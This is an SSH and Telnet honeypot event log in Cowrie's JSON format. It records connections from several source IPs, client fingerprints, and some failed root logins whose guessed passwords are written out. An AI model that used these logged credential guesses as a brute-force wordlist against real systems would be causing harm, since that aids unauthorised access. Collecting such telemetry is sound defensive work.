{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:00.087914Z","src_ip":"69.6.222.198","session":"899d0ddc09a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"porn","message":"login attempt [root/porn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:00.575047Z","src_ip":"69.6.222.198","session":"899d0ddc09a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:01.692846Z","src_ip":"69.6.222.198","session":"899d0ddc09a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":44418,"dst_ip":"159.203.135.109","dst_port":22,"session":"04ee1ce87a1c","protocol":"ssh","message":"New connection: 165.154.5.249:44418 (159.203.135.109:22) [session: 04ee1ce87a1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:04.543579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:04.549119Z","src_ip":"165.154.5.249","session":"04ee1ce87a1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:04.768673Z","src_ip":"165.154.5.249","session":"04ee1ce87a1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danion1994","message":"login attempt [root/danion1994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:05.681040Z","src_ip":"165.154.5.249","session":"04ee1ce87a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:06.905014Z","src_ip":"165.154.5.249","session":"04ee1ce87a1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.29217720031738,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:10.732759Z","src_ip":"192.119.13.58","session":"846c5da8577f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.59341359138489,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:13.548896Z","src_ip":"192.119.13.58","session":"bd35ba77bce4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.231088399887085,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:13.677303Z","src_ip":"192.119.13.58","session":"af6b60ae7924","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51548,"dst_ip":"10.17.0.5","dst_port":23,"session":"40523ab2b21a","protocol":"telnet","message":"New connection: 192.119.13.58:51548 (10.17.0.5:23) [session: 40523ab2b21a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:14.342565Z"}
{"eventid":"cowrie.session.closed","duration":44.798816442489624,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:14.696510Z","src_ip":"192.119.13.58","session":"1af09e4387b9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.856436014175415,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:15.712801Z","src_ip":"192.119.13.58","session":"5576f7d00c2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":58664,"dst_ip":"10.17.0.5","dst_port":23,"session":"e56ae8f1c6b4","protocol":"telnet","message":"New connection: 192.119.13.58:58664 (10.17.0.5:23) [session: e56ae8f1c6b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:17.234143Z"}
{"eventid":"cowrie.session.closed","duration":44.316054582595825,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:18.216797Z","src_ip":"192.119.13.58","session":"174d72be73fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.150887966156006,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:21.726645Z","src_ip":"192.119.13.58","session":"2401a9f58b39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.11093306541443,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:23.247370Z","src_ip":"192.119.13.58","session":"854fc7421ef9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.112021684646606,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:24.455779Z","src_ip":"192.119.13.58","session":"434488e0c636","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.69595813751221,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:24.886060Z","src_ip":"192.119.13.58","session":"c93a263f3a6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35910,"dst_ip":"10.17.0.5","dst_port":23,"session":"c919745bc3fe","protocol":"telnet","message":"New connection: 192.119.13.58:35910 (10.17.0.5:23) [session: c919745bc3fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:25.045680Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39220,"dst_ip":"10.17.0.5","dst_port":23,"session":"48e080380288","protocol":"telnet","message":"New connection: 192.119.13.58:39220 (10.17.0.5:23) [session: 48e080380288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:25.751271Z"}
{"eventid":"cowrie.session.closed","duration":3.823831081390381,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:29.575010Z","src_ip":"192.119.13.58","session":"48e080380288","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.100.175","src_port":54810,"dst_ip":"159.203.135.109","dst_port":22,"session":"06883057b77a","protocol":"ssh","message":"New connection: 43.134.100.175:54810 (159.203.135.109:22) [session: 06883057b77a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:30.164345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:30.169188Z","src_ip":"43.134.100.175","session":"06883057b77a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:30.408323Z","src_ip":"43.134.100.175","session":"06883057b77a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"murielle","message":"login attempt [root/murielle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:31.391137Z","src_ip":"43.134.100.175","session":"06883057b77a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36544,"dst_ip":"10.17.0.5","dst_port":23,"session":"4478e123bc88","protocol":"telnet","message":"New connection: 192.119.13.58:36544 (10.17.0.5:23) [session: 4478e123bc88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:32.138283Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:32.632131Z","src_ip":"43.134.100.175","session":"06883057b77a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.19506573677063,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:37.482741Z","src_ip":"192.119.13.58","session":"8530f5515384","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60776,"dst_ip":"10.17.0.5","dst_port":23,"session":"1940f49eb3a4","protocol":"telnet","message":"New connection: 192.119.13.58:60776 (10.17.0.5:23) [session: 1940f49eb3a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:37.884980Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43550,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a444bbe6f0b","protocol":"telnet","message":"New connection: 192.119.13.58:43550 (10.17.0.5:23) [session: 2a444bbe6f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:40.550296Z"}
{"eventid":"cowrie.session.closed","duration":42.56009316444397,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:40.758590Z","src_ip":"192.119.13.58","session":"87e9eb4784fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.99218964576721,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:47.015944Z","src_ip":"192.119.13.58","session":"a582f01ed025","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45756,"dst_ip":"10.17.0.5","dst_port":23,"session":"70e2069a92de","protocol":"telnet","message":"New connection: 192.119.13.58:45756 (10.17.0.5:23) [session: 70e2069a92de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:48.978034Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44688,"dst_ip":"10.17.0.5","dst_port":23,"session":"18387d81fb41","protocol":"telnet","message":"New connection: 192.119.13.58:44688 (10.17.0.5:23) [session: 18387d81fb41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:54.220899Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.121.249","src_port":35668,"dst_ip":"159.203.135.109","dst_port":22,"session":"74214186e045","protocol":"ssh","message":"New connection: 43.163.121.249:35668 (159.203.135.109:22) [session: 74214186e045]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:54.974813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:54.981271Z","src_ip":"43.163.121.249","session":"74214186e045","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:55.228703Z","src_ip":"43.163.121.249","session":"74214186e045","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ding123","message":"login attempt [root/ding123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:56.247382Z","src_ip":"43.163.121.249","session":"74214186e045","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:57.496965Z","src_ip":"43.163.121.249","session":"74214186e045","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":56092,"dst_ip":"10.17.0.5","dst_port":22,"session":"b276d7ef34fc","protocol":"ssh","message":"New connection: 62.133.62.83:56092 (10.17.0.5:22) [session: b276d7ef34fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:59.821506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:59.833665Z","src_ip":"62.133.62.83","session":"b276d7ef34fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:49:59.915759Z","src_ip":"62.133.62.83","session":"b276d7ef34fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passion","message":"login attempt [root/passion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:00.163790Z","src_ip":"62.133.62.83","session":"b276d7ef34fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.998830795288086,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:00.232873Z","src_ip":"192.119.13.58","session":"e56ae8f1c6b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41864,"dst_ip":"10.17.0.5","dst_port":23,"session":"02f6bc4d7a3c","protocol":"telnet","message":"New connection: 192.119.13.58:41864 (10.17.0.5:23) [session: 02f6bc4d7a3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:00.380251Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:01.249939Z","src_ip":"62.133.62.83","session":"b276d7ef34fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.293362617492676,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:03.338928Z","src_ip":"192.119.13.58","session":"c919745bc3fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.13848376274109,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:04.480896Z","src_ip":"192.119.13.58","session":"40523ab2b21a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.259732484817505,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:11.144621Z","src_ip":"192.119.13.58","session":"1940f49eb3a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32946,"dst_ip":"10.17.0.5","dst_port":23,"session":"115813d881b0","protocol":"telnet","message":"New connection: 192.119.13.58:32946 (10.17.0.5:23) [session: 115813d881b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:13.042404Z"}
{"eventid":"cowrie.session.closed","duration":42.49694108963013,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:14.635136Z","src_ip":"192.119.13.58","session":"4478e123bc88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47166,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8f23689ab51","protocol":"telnet","message":"New connection: 192.119.13.58:47166 (10.17.0.5:23) [session: a8f23689ab51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:15.362245Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47584,"dst_ip":"10.17.0.5","dst_port":23,"session":"05b92612e33b","protocol":"telnet","message":"New connection: 192.119.13.58:47584 (10.17.0.5:23) [session: 05b92612e33b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:15.470559Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49240,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f306bb78f70","protocol":"telnet","message":"New connection: 192.119.13.58:49240 (10.17.0.5:23) [session: 0f306bb78f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:15.863156Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":51298,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b2db582b3f2","protocol":"telnet","message":"New connection: 192.119.13.58:51298 (10.17.0.5:23) [session: 2b2db582b3f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:23.213194Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56964,"dst_ip":"10.17.0.5","dst_port":23,"session":"32926509a94f","protocol":"telnet","message":"New connection: 192.119.13.58:56964 (10.17.0.5:23) [session: 32926509a94f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:24.619428Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.5.249","src_port":41542,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd53bddcb96f","protocol":"ssh","message":"New connection: 165.154.5.249:41542 (159.203.135.109:22) [session: cd53bddcb96f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:25.658694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T14:50:25.663766Z","src_ip":"165.154.5.249","session":"cd53bddcb96f","protocol":"ssh"}
